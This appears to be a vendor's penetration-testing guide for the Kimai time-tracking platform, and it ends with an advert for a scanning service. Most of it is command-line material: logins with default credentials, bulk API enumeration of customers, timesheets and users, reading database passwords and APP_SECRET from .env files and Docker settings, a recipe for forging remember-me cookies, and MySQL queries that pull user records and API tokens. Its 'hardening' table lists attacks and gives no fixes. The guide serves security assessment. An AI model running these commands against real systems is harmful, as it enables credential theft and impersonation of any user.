Kimai Security Testing: Default Credentials, API Token, Time Tracking Data, and Database

Kimai is a widely deployed open-source time tracking platform built on Symfony (PHP), used by freelancers, agencies, and businesses to track billable hours across customers, projects, and activities. It stores sensitive business data including customer billing rates, project budgets, and individual employee time records. Key assessment areas: Kimai's .env file stores the MySQL database URL (including password) and Symfony APP_SECRET (enabling session cookie forgery); the REST API with Bearer token authentication provides access to all time tracking records, customers, projects, invoices, and user billing rates; the admin API allows user creation and role assignment enabling privilege escalation; and Kimai's user enumeration is possible through the API even with limited permissions. This guide covers systematic Kimai security assessment.

Table of Contents

  1. API Token Authentication and Credential Testing
  2. REST API Time Tracking Data Enumeration
  3. .env Credentials and APP_SECRET Exploitation
  4. Kimai Security Hardening

API Token Authentication and Credential Testing

# Kimai — API token authentication and credential testing
KIMAI_URL="https://kimai.example.com"

# Kimai uses HTTP Basic auth or API tokens (X-AUTH-TOKEN header)
# API tokens are generated per user in the Kimai web UI under Profile > API access
# No universal default credentials — test common setup passwords

# Test web login with common credentials
curl -s -c /tmp/kimai_sess -b /tmp/kimai_sess \
  -X POST "${KIMAI_URL}/en/login" \
  --data "_username=admin&_password=admin&_remember_me=on" \
  -L 2>/dev/null | grep -i "dashboard\|Invalid\|error\|logout" | head -3

# Test API with HTTP Basic authentication
curl -s "${KIMAI_URL}/api/version" \
  -H "Authorization: Basic $(echo -n 'admin:admin' | base64)" 2>/dev/null | \
  python3 -c "import json,sys; d=json.load(sys.stdin); print(d)" 2>/dev/null

# Test API with API token (X-AUTH-TOKEN header)
curl -s "${KIMAI_URL}/api/version" \
  -H "X-AUTH-TOKEN: your-api-token" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'Kimai version: {d.get(\"version\")} API version: {d.get(\"apiVersion\")}')
" 2>/dev/null

# Check if Kimai API docs are publicly accessible
curl -s -o /dev/null -w "%{http_code}" "${KIMAI_URL}/api/doc.json" 2>/dev/null
# 200 = API schema accessible (useful for endpoint enumeration)

REST API Time Tracking Data Enumeration

# Kimai REST API — time tracking data enumeration
KIMAI_URL="https://kimai.example.com"
API_TOKEN="your-kimai-api-token"

# Get all customers — client list with billing info
curl -s "${KIMAI_URL}/api/customers?visible=3&order=ASC&orderBy=name&size=200" \
  -H "X-AUTH-TOKEN: ${API_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'Customers: {len(d)}')
for c in d[:10]:
    print(f'  [{c.get(\"id\")}] {c.get(\"name\")} currency={c.get(\"currency\")} billable_rate={c.get(\"billableRate\")} budget={c.get(\"budget\")}')
" 2>/dev/null

# Get all projects with budgets
curl -s "${KIMAI_URL}/api/projects?visible=3&order=ASC&orderBy=name&size=200" \
  -H "X-AUTH-TOKEN: ${API_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'Projects: {len(d)}')
for p in d[:10]:
    print(f'  [{p.get(\"id\")}] {p.get(\"name\")} customer={p.get(\"customer\")} budget={p.get(\"budget\")} billable_rate={p.get(\"billableRate\")}')
" 2>/dev/null

# Get all timesheet entries — every time record
curl -s "${KIMAI_URL}/api/timesheets?size=200&order=DESC&orderBy=begin&full=true" \
  -H "X-AUTH-TOKEN: ${API_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'Timesheet entries: {len(d)}')
for t in d[:10]:
    print(f'  User: {t.get(\"user\")} project={t.get(\"project\")} duration={t.get(\"duration\")}s rate={t.get(\"rate\")} description={str(t.get(\"description\",\"\"))[:50]}')
" 2>/dev/null

# Get all users — list with roles and billing rates
curl -s "${KIMAI_URL}/api/users" \
  -H "X-AUTH-TOKEN: ${API_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'Users: {len(d)}')
for u in d[:10]:
    print(f'  [{u.get(\"id\")}] {u.get(\"username\")} email={u.get(\"email\")} roles={u.get(\"roles\")}')
" 2>/dev/null

.env Credentials and APP_SECRET Exploitation

# Kimai .env file and APP_SECRET credential extraction

# .env — MySQL DATABASE_URL and APP_SECRET
cat /var/www/html/kimai/.env.local 2>/dev/null | \
  grep -E "DATABASE_URL|APP_SECRET|MAILER_DSN"
# DATABASE_URL="mysql://kimai:PASSWORD@localhost:3306/kimai2"
# APP_SECRET — Symfony secret key for session cookie HMAC signing

# Also check .env (base) and .env.prod
cat /var/www/html/kimai/.env 2>/dev/null | grep -E "DATABASE_URL|APP_SECRET"

# Docker deployment — environment variables
docker inspect kimai 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
for c in d:
    for e in c.get('Config',{}).get('Env',[]):
        if any(k in e for k in ['DATABASE','SECRET','MAILER','PASSWORD']):
            print(e)
" 2>/dev/null

# Symfony APP_SECRET — forge remember-me and CSRF tokens
# If APP_SECRET is known, Symfony remember-me cookies can be forged
# APP_SECRET is used to sign the remember-me cookie value
echo "APP_SECRET enables Symfony remember-me cookie forgery for any user"
echo "Forge: username:expires:HMAC-SHA256(username:expires, APP_SECRET)"

# MySQL direct access — user table
mysql -u kimai -p"DB_PASSWORD" kimai2 2>/dev/null << 'EOF'
SELECT id, username, email, enabled, is_super_admin, auth
FROM kimai2_users
WHERE enabled = 1
ORDER BY is_super_admin DESC, id
LIMIT 20;
EOF

# User API tokens stored in kimai2_user_preferences
mysql -u kimai -p"DB_PASSWORD" kimai2 2>/dev/null << 'EOF'
SELECT u.username, u.email, p.name, p.value
FROM kimai2_user_preferences p
JOIN kimai2_users u ON p.user_id = u.id
WHERE p.name LIKE '%token%' OR p.name LIKE '%api%'
LIMIT 20;
EOF

Kimai Security Hardening

Kimai Security Hardening Checklist:
Security TestMethodRisk
.env DATABASE_URL and APP_SECRET extractionRead .env / .env.local — DATABASE_URL contains MySQL password; APP_SECRET enables Symfony remember-me cookie forgery for any user; MySQL access exposes all time tracking data and user hashesCritical
REST API time tracking data enumerationGET /api/timesheets with API token — all time records with descriptions, durations, billing rates; GET /api/customers returns all customers with billing rates and budgets; reveals business financial dataHigh
APP_SECRET Symfony remember-me cookie forgeryHMAC-SHA256(username:expires, APP_SECRET) — forge valid remember-me cookie for any user including admin; persistent authentication without requiring passwordCritical
User enumeration via APIGET /api/users with any authenticated token — all registered users with usernames, emails, and role assignments; enables targeted credential attacks against specific admin accountsMedium
API token extraction from databaseMySQL SELECT from kimai2_user_preferences WHERE name LIKE '%token%' — all user API tokens in plaintext; enables API access as any user without their passwordCritical

Automate Kimai Security Testing

Ironimo tests Kimai deployments for .env DATABASE_URL MySQL credential extraction, APP_SECRET Symfony session forgery feasibility, REST API timesheet and customer enumeration including billing rates and project budgets, API token extraction from kimai2_user_preferences, user enumeration via /api/users, remember-me cookie forgery testing when APP_SECRET is accessible, MAILER_DSN SMTP credential extraction, and log file access control verification.

Start free scan